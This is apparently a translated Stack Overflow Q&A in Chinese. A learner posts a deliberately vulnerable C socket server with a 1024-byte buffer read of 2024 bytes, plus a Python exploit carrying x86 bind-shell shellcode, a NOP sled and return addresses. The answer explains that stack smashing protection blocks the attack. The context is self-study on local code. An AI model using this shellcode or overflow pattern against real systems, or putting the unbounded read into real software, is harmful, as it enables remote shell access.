我正在尝试学习/理解缓冲区溢出。我虽然已经知道了,但是现在在利用这个(我的)易受攻击的代码时遇到了问题。
当我运行漏洞利用程序时,当服务器在gdb中运行时,漏洞利用起作用,并且我得到了远程shell(有效载荷已正确执行)。但是随后我在调试器外部启动服务器,当我启动漏洞利用程序时,出现浮点异常。谁能解释我在做什么错?
服务器:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void error(const char *msg) {
perror(msg);
exit(1);
}
void passcheck(int sockfd) {
char buffer[1024];
int newsockfd, n;
struct sockaddr_in cli_addr;
socklen_t clilen;
for (n=0; n<1024; n++) buffer[n] = 0x31;
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0)
error("ERROR on accept");
n = write(newsockfd,"PASSWORD: ",10);
if (n < 0) error("ERROR writing to socket");
n = read(newsockfd,buffer,2024);
if (n < 0) error("ERROR reading from socket");
close(newsockfd);
return;
}
int main(int argc, char *argv[]) {
int sockfd, portno;
struct sockaddr_in serv_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = 5001;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR on binding");
listen(sockfd,5);
while(1) {
passcheck(sockfd);
printf("Try again\n");
}
close(sockfd);
return 0;
利用:
#!/usr/bin/python
import socket
payload = "\x90"*(502)+"\xe8\xff\xff\xff\xff\xc3\x5d\x8d\x6d\x4a\x31\xc0\x99\x6a\x01\x5b\x52\x53\x6a\x02\xff\xd5\x96\x5b\x52\x66\x68\x2b\x67\x66\x53\x89\xe1\x6a\x10\x51\x56\xff\xd5\x43\x43\x52\x56\xff\xd5\x43\x52\x52\x56\xff\xd5\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\x04\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57\xc3\x90"+"\x04\xf3\xff\xbf"*150
s = socket.socket()
host = "127.0.0.1"
port = 5001
s.connect((host, port))
s.send(payload)
s.close
最佳答案
当我尝试在OS X上运行您的示例程序时,遇到了段错误,但是无论是否在GDB中运行它,我都可以理解:
Program received signal SIGSEGV, Segmentation fault.
0x00007fff832c2701 in __findenv () from /usr/lib/system/libsystem_c.dylib
(gdb) bt
#0 0x00007fff832c2701 in __findenv () from /usr/lib/system/libsystem_c.dylib
#1 0x00007fff832c2754 in getenv () from /usr/lib/system/libsystem_c.dylib
#2 0x00007fff83283b35 in _simple_asl_init ()
from /usr/lib/system/libsystem_c.dylib
#3 0x00007fff8327afc0 in pthread_once ()
from /usr/lib/system/libsystem_c.dylib
#4 0x00007fff832838f8 in _simple_asl_log_prog ()
from /usr/lib/system/libsystem_c.dylib
#5 0x00007fff832bff8b in __stack_chk_fail ()
from /usr/lib/system/libsystem_c.dylib
#6 0x0000000100000c86 in passcheck (sockfd=-1073745148) at foo.cpp:31
请注意,__ stack_chk_fail似乎是GCC使用的stack smashing protection的一部分,因此您的缓冲区溢出尝试并未引起注意。我必须承认,我不太确定为什么以后会出现段错误。
无论哪种方式,如果您自己尝试尝试类似的操作,我都不会感到惊讶。如果您想尝试缓冲区溢出,我建议您使用较旧的Linux发行版和gcc版本,并确保关闭GCC保护机制。我建议Damn Small Linux,它仍然具有2.4内核,我似乎还记得2.6也添加了一些缓冲区溢出保护机制。
您已经了解到缓冲区溢出并不像过去那样简单! :-)
关于c - 缓冲区溢出-利用gdb进行调试时可利用漏洞,但,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/19070913/